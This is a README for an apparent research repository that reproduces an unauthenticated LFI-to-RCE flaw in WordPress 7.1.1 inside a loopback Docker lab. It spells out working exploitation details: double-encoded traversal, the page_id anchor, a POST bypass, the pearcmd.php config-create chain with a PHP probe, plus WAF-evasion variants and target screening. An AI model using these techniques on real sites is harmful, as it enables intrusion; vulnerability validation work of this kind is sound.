WordPress Core <= 7.1.1 unauthenticated LFI to RCE - validation lab, PoC, nuclei template (GHSA-7hp8-65ch-5whp)
Security-research material for reproducing and validating CVE-2026-87902 (GHSA-7hp8-65ch-5whp) in an isolated, loopback-only Docker lab: an unauthenticated local file inclusion in WordPress core page-template resolution, escalable to remote code execution.
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)Status: proven in the supplied lab.
WordPress 7.1.1 (Twenty Twelve theme) permits an unauthenticated attacker to
include PHP files from outside the theme directory via the pagename query
variable, and - with the stock register_argc_argv = On of the official PHP
image - to write and execute a marker file via PEAR pearcmd.php:
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
WordPress 7.1.2 with the identical setup blocks the oracle entirely (negative control). This demonstrates code execution as the WordPress web-server user inside the container. It does not demonstrate root access, container escape, lateral movement, or host compromise.
Requirements: Docker with Compose v2, Python 3.10+, network access to Docker Hub and wordpress.org (theme install).
./lab verify
This builds the vulnerable lab, requires the LFI oracle and the RCE marker to fire, then builds the patched lab and requires the oracle to stay silent.
To use another loopback port: LAB_PORT=9499 ./lab verify.
Remove everything afterwards with ./lab reset.
Vulnerable control:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
Patched control:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
An HTTP 200, a WAF block, or a partial traversal without the oracle marker is not accepted as proof.
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
Run the tooling by hand against the running lab:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
For systems you own or are explicitly authorized to test (bug-bounty scope, written engagement), the drivers require the explicit override:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
get_page_template() in wp-includes/template.php builds a candidate template
filename from the pagename query variable. The sibling branch three lines
above passes the page-template slug through validate_file(); the pagename
branch never did, and additionally pushes an extra urldecode()-decoded
candidate:
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 applies validate_file() to the decoded candidate and adds a
containment gate (_wp_is_template_path_allowed()) that every resolved
template path must pass.
locate_template() checks both)
ships a top-level directory starting with page-. Legacy default themes
(Twenty Twelve, Twenty Fourteen) and several wp.org themes (Neve, Hestia,
Sydney) qualify. Researched commercial themes (Divi, Avada, Flatsome,
Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto, Houzez, XStore,
Kalium, Uncode) ship none - the traversal cannot resolve; see
PRO_THEME_PAGE_DIRS in the PoC for the mirror-sourced list..php (appended by the code).register_argc_argv = On and PEAR's pearcmd.php.The advisory and the Patchstack writeup decline to publish a working request. These details were established empirically in this lab:
page_id anchor is mandatory. An unresolved pagename flips
is_404, whose template shadows get_page_template() entirely. Anchor the
query with any resolvable published page_id.get_posts() rewrites pagename
through sanitize_title_for_query( wp_basename( … ) ): raw .. becomes
-, but %hex sequences survive; the extra urldecode() in
get_page_template() reveals the traversal. Only %252e/%252f works.redirect_canonical 301s GET and drops
the payload; it returns immediately for non-GET/HEAD).../ from page-templates/ on a standard docroot.$_POST into query
vars) - the basis of the WAF-evasion tiers.$argv tokens, and
PEAR's config serializer escapes both quote styles - hence the raw,
quoteless, +-separated probe.| Path | Purpose |
|---|---|
poc/poc_cve_2026_87902.py | Full PoC: version + WAF fingerprint, theme/page-* folder enumeration (wp.org SVN, asset-reference discovery, researched pro-theme map), anchor discovery, 8-variant LFI oracle, comparative empty-body fallback oracle, --rce pearcmd chain, --lab docker demo |
poc/triage_cve_2026_87902.py | Per-target or batch verdict with the named failing gate (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | Works an in-scope bug-bounty asset list: crt.sh wildcard expansion → WP filter → precondition screen → candidate handoff |
nuclei/cve-2026-87902.yaml | Nuclei template: safe LFI oracle (174 payloads: 10 page-* remainders, double/triple-encoded tiers, ids 1–30) |
WAF fingerprinting covers Imperva/Incapsula, Cloudflare, Akamai, AWS
CloudFront/WAF, Sucuri, F5. Eight oracle variants: double-encoded, alternate
%25%32%65 spelling, parameter pollution, triple-encoded - each in query
string and POST body. Multipart bodies and raw-slash payloads were tested and
rejected (WP does not process them for this sink).
| Version | Assessment |
|---|---|
| WordPress 7.1.1 | LFI + pearcmd RCE reproduced end to end |
| WordPress 6.5.3 / 5.9.17 | LFI oracle reproduced |
| WordPress 4.7.0–7.1.1 (other branches) | Reported affected; branch table per GHSA |
| WordPress 7.1.2 | Patched negative control reproduced |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-87902.yaml
└── poc/
├── bounty_screen.py
├── poc_cve_2026_87902.py
└── triage_cve_2026_87902.py
Not committed: .lab-state, __pycache__/, screener output files.
| Claim | Status |
|---|---|
| Unauthenticated LFI outside the theme directory | Proven (7.1.1, 6.5.3, 5.9.17) |
RCE via pearcmd.php config-create as the web user | Proven (7.1.1 lab) |
| Probe self-deletion / no persistent artifacts | Proven |
| Patched negative control (7.1.2) | Proven |
| Every intermediate affected release tested | Not tested |
| WAF bypass variants against live commercial WAFs | Lab-derived, not WAF-tested |
| Root privilege / container escape / host compromise | Not claimed |
page_id anchor and double-encoding requirements; source of
the comparative wp-content/index.php empty-body oracle, included here as a
fallback for hardened sites)Vulnerability reported by Robert Ressl. This repository is independent third-party analysis and tooling.
MIT - see LICENSE.
Run this repository only on systems you own or are explicitly authorized to
test. The lab driver refuses variants other than vulnerable/patched, the
Python drivers refuse non-loopback targets unless
--allow-authorized-non-loopback is supplied, and the Compose port is bound
to 127.0.0.1.
See SECURITY.md for disclosure handling. This repository does not include production targets, customer data, access tokens, or evidence from real systems.
Concretely:
127.0.0.1 only.wp-links-opml.php, a stock core file that prints an OPML document.--rce is opt-in and writes a quoteless, self-deleting marker probe
(<?=id,unlink(__FILE__)?>) via the publicly documented pearcmd.php
config-create technique; the probe removes itself on its single execution
and the PoC verifies deletion. No shells, callbacks, or persistence.start; no
target instrumentation.